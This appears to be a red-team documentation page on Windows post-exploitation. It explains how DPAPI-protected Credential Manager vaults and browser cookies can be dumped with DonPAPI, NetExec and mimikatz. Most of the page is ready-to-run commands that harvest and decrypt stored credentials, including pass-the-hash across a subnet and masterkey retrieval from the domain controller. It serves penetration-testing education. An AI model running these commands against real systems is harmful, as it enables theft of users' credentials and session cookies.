> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/active-directory/post-exploitation/dpapi-browser-cookies-and-credman.md). # DPAPI, Browser Cookies, and CredMan Windows needs to stored encrypted secrets for things like scheduled task logons and web cookies. These are stored in the Windows Credential Manager as "vaults" - vaults hold encrypted credential blobs. If you're a local Administrator, you can dump the DPAPI masterkey and decrypt the vault credentials. DonPAPI is an amazing tool for this! Specify `-nr` to stop collecting SAM and LSASS and watch the cleartext creds roll in! ``` donpapi collect -d jotter.com -u Administrator -H HASHES -t 10.10.10.0/24 --pvkfile ./backup.pvk ``` Netexec also has a module for DPAPI/cookies: ``` nxc smb 10.10.10.10 -u Admin -p Pass --dpapi # No SAM/LSASS nxc smb 10.10.10.10 -u Admin -p Pass --dpapi nosystem # Browser Cookies only nxc smb 10.10.10.10 -u Admin -p Pass --dpapi cookies ``` ### Manual Identification **Locating Credentials** Look for stored user credentials and scheduled task credentials. ``` C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials ``` You can also use `mimikatz` to list vault credentials. ``` mimikatz sekurlsa::dpapi ``` **Decrypting** After identifying a target credential, locate the associated masterkey GUID. ``` mimikatz sekurlsa::dpapi --> Identify matching masterkey GUID ``` You can also send a request to the DC for the masterkey for your user's creds. ``` mimikatz dpapi::masterkey /in:C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc ``` Finally, decrypt the credential with the masterkey. ``` mimikatz dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214 ```